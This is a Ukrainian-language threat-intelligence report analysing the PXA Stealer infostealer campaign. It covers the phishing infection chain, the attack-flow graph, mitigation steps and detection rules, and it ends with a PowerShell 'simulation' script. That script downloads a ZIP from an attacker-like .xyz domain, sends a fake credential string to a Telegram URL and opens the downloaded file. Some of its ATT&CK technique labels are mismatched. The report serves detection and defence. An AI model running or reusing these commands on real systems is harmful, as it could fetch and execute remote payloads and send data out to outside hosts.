SOC Prime Bias: Середня

31 Mar 2026 16:58

Від фішингу до ексфільтрації: глибокий аналіз PXA Stealer

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Від фішингу до ексфільтрації: глибокий аналіз PXA Stealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Звіт описує різке зростання активності PXA Stealer, спрямованої на фінансові організації на початку 2026 року. Актори загроз поширюють шкідливі ZIP-архіви через фішингові електронні листи та покладаються на багатоступеневий ланцюг зараження, що зловживає легітимними системними інструментами та перейменованим інтерпретатором Python. Як тільки шкідливе програмне забезпечення активується, воно краде облікові дані браузера, збережені паролі та дані криптовалютних гаманців, а потім ексфільтрує зібрану інформацію через Telegram. Кампанія підкреслює, як оператори налаштували свою тактику після попередніх зривів у інших екосистемах інфостилерів.

Розслідування

Дослідники з CyberProof відновили повний ланцюг атаки, починаючи з фішингового електронного листа, що доставив шкідливий архів Pumaproject.zip, і закінчуючи ексфільтрацією через Telegram. Їх аналіз ідентифікував зловживання Certutil для розкодування, копію WinRAR, замасковану як picture.png для вилучення, приховану папку Dots і перейменований інтерпретатор Python svchost.exe, який використовується для запуску заплутаного скрипту, пов’язаного з ідентифікатором бота. Стійкість підтримується через запис значення в реєстрі.

Пом’якшення

Захисники повинні ідентифікувати підозрілі архіви-додатки, моніторити виконання скриптів і відомі LOLBins з несподіваних шляхів, а також блокувати вихідний трафік до Telegram і незвичайні TLD, такі як .shop and .xyz. Команди безпеки також повинні зміцнювати шлюзи електронної пошти та застосовувати строгий контроль виконання до файлів Office та контенту на основі скриптів.

Відповідь

Коли виявлено PXA Stealer, ізолюйте уражений хост, захопіть нестійкі докази та знайдіть згадані артефакти файлів та модифікації реєстру. Видаліть шкідливі файли, завершіть уражені процеси та скиньте будь-які скомпрометовані облікові дані. Команди повинні потім виконати ширший пошук загроз для збігів індикаторів в середовищі та повідомити відповідних зацікавлених сторін.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing["<b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Description: Email with malicious ZIP (Pumaproject.zip) containing Document.docx.exe."] class action_phishing action file_zip["<b>File</b> – Pumaproject.zip<br/><b>Contains</b>: Document.docx.exe"] class file_zip file action_user_exec["<b>Action</b> – <b>T1204.002 User Execution: Malicious File</b><br/>Description: Victim opens the attached executable."] class action_user_exec action process_malicious_exe["<b>Process</b> – Document.docx.exe"] class process_malicious_exe process action_execution_hijack["<b>Action</b> – <b>T1574 Hijack Execution Flow</b><br/>Description: Launches inter.cmd and uses certutil to decode payload from Shodan.pdf."] class action_execution_hijack action process_inter_cmd["<b>Process</b> – inter.cmd"] class process_inter_cmd process tool_certutil["<b>Tool</b> – certutil.exe<br/><b>Purpose</b>: Decode base64 content"] class tool_certutil tool file_shodan_pdf["<b>File</b> – Shodan.pdf<br/><b>Contains</b>: Base64 encoded payload"] class file_shodan_pdf file action_defense_embedded["<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>Description: Payload hidden inside PDF file."] class action_defense_embedded action action_decode["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Description: certutil decodes the payload."] class action_decode action action_hidden_dir["<b>Action</b> – <b>T1564.001 Hidden Files and Directories</b><br/>Description: Malware creates hidden folder "Dots" for intermediate files."] class action_hidden_dir action file_hidden_dir["<b>File</b> – Dots (hidden directory)"] class file_hidden_dir file action_relocate["<b>Action</b> – <b>T1070.010 Indicator Removal: Relocate Malware</b><br/>Description: Moves malicious files into hidden "Dots" directory."] class action_relocate action action_compression["<b>Action</b> – <b>T1027.015 Compression</b><br/>Description: WinRAR disguised as picture.png extracts password‑protected archive (password shodan2201)."] class action_compression action tool_winar["<b>Tool</b> – WinRAR (renamed picture.png)"] class tool_winar tool file_archive["<b>File</b> – Password protected archive (shodan2201)"] class file_archive file action_rc_script["<b>Action</b> – <b>T1037.004 RC Scripts</b><br/>Description: Portable Python dropped, renamed to svchost.exe and executed with $BOT_ID argument."] class action_rc_script action process_svc_host["<b>Process</b> – svchost.exe (malicious Python interpreter)"] class process_svc_host process action_active_setup["<b>Action</b> – <b>T1547.014 Active Setup</b><br/>Description: Registry entry added to run svchost.exe at startup."] class action_active_setup action action_com_hijack["<b>Action</b> – <b>T1546.015 COM Hijacking</b><br/>Description: COM hijacking registry entry created for automatic execution."] class action_com_hijack action action_cred_browser["<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b><br/>Description: Injects into browsers to steal passwords, cookies, crypto wallet data."] class action_cred_browser action action_cred_cookies["<b>Action</b> – <b>T1539 Steal Web Session Cookie</b><br/>Description: Extracts web session cookies for reuse."] class action_cred_cookies action action_keylogging["<b>Action</b> – <b>T1056.001 Input Capture: Keylogging</b><br/>Description: Captures keystrokes from the user."] class action_keylogging action action_exfil_telegram["<b>Action</b> – <b>T1567 Exfiltration Over Web Service</b><br/>Description: Sends collected data to attacker‑controlled Telegram channels."] class action_exfil_telegram exfil action_exfil_c2["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b>

графік TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Визначення вузлів action_phishing[“<b>Дія</b> – <b>T1566.001 Фішинг: Спірфішинг вкладення</b><br/>Опис: Електронний лист зі шкідливим ZIP (Pumaproject.zip), який містить Document.docx.exe.”] class action_phishing action file_zip[“<b>Файл</b> – Pumaproject.zip<br/><b>Містить</b>: Document.docx.exe”] class file_zip file action_user_exec[“<b>Дія</b> – <b>T1204.002 Виконання користувачем: Шкідливий файл</b><br/>Опис: Жертва відкриває вкладене виконуване.”] class action_user_exec action process_malicious_exe[“<b>Процес</b> – Document.docx.exe”] class process_malicious_exe process action_execution_hijack[“<b>Дія</b> – <b>T1574 Перехоплення потоку виконання</b><br/>Опис: Запускає inter.cmd і використовує certutil для декодування навантаження з Shodan.pdf.”] class action_execution_hijack action process_inter_cmd[“<b>Процес</b> – inter.cmd”] class process_inter_cmd process tool_certutil[“<b>Інструмент</b> – certutil.exe<br/><b>Призначення</b>: Декодувати base64 контент”] class tool_certutil tool file_shodan_pdf[“<b>Файл</b> – Shodan.pdf<br/><b>Містить</b>: Base64 закодоване навантаження”] class file_shodan_pdf file action_defense_embedded[“<b>Дія</b> – <b>T1027.009 Вбудовані навантаження</b><br/>Опис: Навантаження, приховане всередині файлу PDF.”] class action_defense_embedded action action_decode[“<b>Дія</b> – <b>T1140 Декодування/розшифрування файлів або інформації</b><br/>Опис: certutil декодує навантаження.”] class action_decode action action_hidden_dir[“<b>Дія</b> – <b>T1564.001 Приховані файли та директорії</b><br/>Опис: Шкідливе ПЗ створює приховану папку “Dots” для проміжних файлів.”] class action_hidden_dir action file_hidden_dir[“<b>Файл</b> – Dots (прихована директорія)”] class file_hidden_dir file action_relocate[“<b>Дія</b> – <b>T1070.010 Видалення індикаторів: Розміщення шкідливого ПЗ</b><br/>Опис: Переміщує шкідливі файли до прихованої директорії “Dots”.”] class action_relocate action action_compression[“<b>Дія</b> – <b>T1027.015 Стиснення</b><br/>Опис: WinRAR, замаскований під picture.png, розпаковує архів, захищений паролем (пароль shodan2201).”] class action_compression action tool_winar[“<b>Інструмент</b> – WinRAR (перейменований picture.png)”] class tool_winar tool file_archive[“<b>Файл</b> – Архів, захищений паролем (shodan2201)”] class file_archive file action_rc_script[“<b>Дія</b> – <b>T1037.004 RC скрипти</b><br/>Опис: Портативний Python скинуто, перейменовано в svchost.exe та виконано з аргументом $BOT_ID.”] class action_rc_script action process_svc_host[“<b>Процес</b> – svchost.exe (шкідливий інтерпретатор Python)”] class process_svc_host process action_active_setup[“<b>Дія</b> – <b>T1547.014 Active Setup</b><br/>Опис: Запис в реєстрі, доданий для запуску svchost.exe під час завантаження.”] class action_active_setup action action_com_hijack[“<b>Дія</b> – <b>T1546.015 COM Hijacking</b><br/>Опис: Створено запис у реєстрі для автоматичного виконання COM hijacking.”] class action_com_hijack action action_cred_browser[“<b>Дія</b> – <b>T1555.003 Облікові дані з веб-браузерів</b><br/>Опис: Впроваджується в браузери для крадіжки паролів, кукісів, даних криптовалютних гаманців.”] class action_cred_browser action action_cred_cookies[“<b>Дія</b> – <b>T1539 Крадіжка кукісів веб-сесії</b><br/>Опис: Витягує кукіси веб-сесії для повторного використання.”] class action_cred_cookies action action_keylogging[“<b>Дія</b> – <b>T1056.001 Захоплення вводу: Кейлоггінг</b><br/>Опис: Захоплює натискання клавіш користувача.”] class action_keylogging action action_exfil_telegram[“<b>Дія</b> – <b>T1567 Ексфільтрація через веб-сервіс</b><br/>Опис: Відправляє зібрані дані на канали Telegram, які контролюються атакуючим.”] class action_exfil_telegram exfil action_exfil_c2[“<b>Дія</b> – <b>T1041 Ексфільтрація через C2 канал</b><br/>Опис: Використовує Telegram як C2 і канал ексфільтрації.”] class action_exfil_c2 exfil %% З’єднання action_phishing –>|доставляє| file_zip file_zip –>|виконує| action_user_exec action_user_exec –>|запускає| process_malicious_exe process_malicious_exe –>|запускає| action_execution_hijack action_execution_hijack –>|спавнує| process_inter_cmd process_inter_cmd –>|використовує| tool_certutil tool_certutil –>|розкодовує| file_shodan_pdf file_shodan_pdf –>|містить| action_defense_embedded action_defense_embedded –>|спрацьовує| action_decode action_decode –>|створює| action_hidden_dir action_hidden_dir –>|створює| file_hidden_dir action_hidden_dir –>|зберігає| action_relocate action_relocate –>|переміщує файли до| file_hidden_dir action_relocate –>|призводить до| action_compression action_compression –>|використовує| tool_winar tool_winar –>|розпаковує| file_archive file_archive –>|надає| action_rc_script action_rc_script –>|виконує| process_svc_host process_svc_host –>|встановлює| action_active_setup process_svc_host –>|встановлює| action_com_hijack process_svc_host –>|надає можливість| action_cred_browser process_svc_host –>|надає можливість| action_cred_cookies process_svc_host –>|надає можливість| action_keylogging action_keylogging –>|передає дані на| action_exfil_telegram action_cred_browser –>|передає дані на| action_exfil_telegram action_cred_cookies –>|передає дані на| action_exfil_telegram action_exfil_telegram –>|використовує канал| action_exfil_c2

Потік атаки

Виявлення

Виконання системних процесів з нетипових шляхів (via process_creation)

Команда SOC Prime
31 березня 2026

Підозріла команда і контроль через запит DNS незвичного домену верхнього рівня (TLD) (via dns)

Команда SOC Prime
31 березня 2026

Підозріле виконання з публічного профілю користувача (via process_creation)

Команда SOC Prime
31 березня 2026

Незвичне розширення виконуваного файлу (via process_creation)

Команда SOC Prime
31 березня 2026

Підозрілі файли в публічному профілі користувача (via file_event)

Команда SOC Prime
31 березня 2026

Використання Certutil для кодування даних та операцій з сертифікатами (via cmdline)

Команда SOC Prime
31 березня 2026

IOCs (HashMd5) для виявлення: Від фішингу до ексфільтрації: Глибокий аналіз PXA Stealer Частина 2

Правила AI SOC Prime
31 березня 2026

IOCs (DestinationIP) для виявлення: Від фішингу до ексфільтрації: Глибокий аналіз PXA Stealer

Правила AI SOC Prime
31 березня 2026

IOCs (HashMd5) для виявлення: Від фішингу до ексфільтрації: Глибокий аналіз PXA Stealer Частина 1

Правила AI SOC Prime
31 березня 2026

IOCs (SourceIP) для виявлення: Від фішингу до ексфільтрації: Глибокий аналіз PXA Stealer

Правила AI SOC Prime
31 березня 2026

IOCs (HashSha256) для виявлення: Від фішингу до ексфільтрації: Глибокий аналіз PXA Stealer

Правила AI SOC Prime
31 березня 2026

Виявлення активності виконання PXA Stealer [Windows Process Creation]

Правила AI SOC Prime
31 березня 2026

Виявлення виходячих підключень PXA Stealer [Windows Network Connection]

Правила AI SOC Prime
31 березня 2026

Імітація виконання

Передумова: Тестування телеметрії та базового рівня має бути пройдено.

Раціональність: Цей розділ детально описує точне виконання техніки суперника (TTP), призначену для спрацьовування правила виявлення. Команди та наративи МАЮТЬ безпосередньо відображати ідентифіковані TTP та прагнуть згенерувати точну телеметрію, очікувану логікою виявлення.

  • Опис атаки та команди:
    Актор загрози розгортає PXA Stealer на скомпрометованому хості Windows. Після того, як користувач невимушено виконує початковий шкідливий бінарний файл (T1204.002), стілер виконує фрагмент PowerShell, який:

    1. Завантажує шкідливий ZIP з жорстко закодованого домену downloadtheproject.xyz (T1202 – непряме виконання команд).
    2. Ексфільтрує зібрані дані розміщуючи повідомлення в каналі Telegram через t.me (T1559.002 – фішингове посилання).
    3. За бажанням завантажує шкідливий COM-компонент для досягнення стійкості (T1127.002).

    Обидва вихідні HTTP-запити GET генерують поля DestinationDomain , за якими стежить правило Sigma, викликаючи тривогу.

  • Скрипт тесту регресії:

    # Імітація PXA Stealer – спрацьовує правило виявлення
    $tmpZip = "$env:TEMPpayload.zip"
    $tmpMsg = "$env:TEMPsteal.txt"
    
    # 1. Завантажте шкідливий ZIP з першого шкідливого домену
    Invoke-WebRequest -Uri "https://downloadtheproject.xyz/malware.zip" -OutFile $tmpZip -UseBasicParsing
    
    # 2. Імітуйте ексфільтрацію даних через посилання Telegram
    $payload = "Облікові дані користувача: admin / Pass123!"
    Set-Content -Path $tmpMsg -Value $payload -Encoding ASCII
    Invoke-WebRequest -Uri "https://t.me/stealchannel?text=$( [uri]::EscapeDataString($payload) )" -UseBasicParsing
    
    # 3. (Додатково) Завантажте фіктивний COM-об'єкт для емулювання T1127.002
    try {
        $com = New-Object -ComObject "Shell.Application"
        $com.ShellExecute($tmpZip, "", "", "open", 0) | Out-Null
    } catch {
        # Ігнорувати помилки – це лише для телеметрії
    }
  • Команди очистки:

    # Видаліть артефакти, створені імітацією
    Remove-Item -Path $tmpZip -Force -ErrorAction SilentlyContinue
    Remove-Item -Path $tmpMsg -Force -ErrorAction SilentlyContinue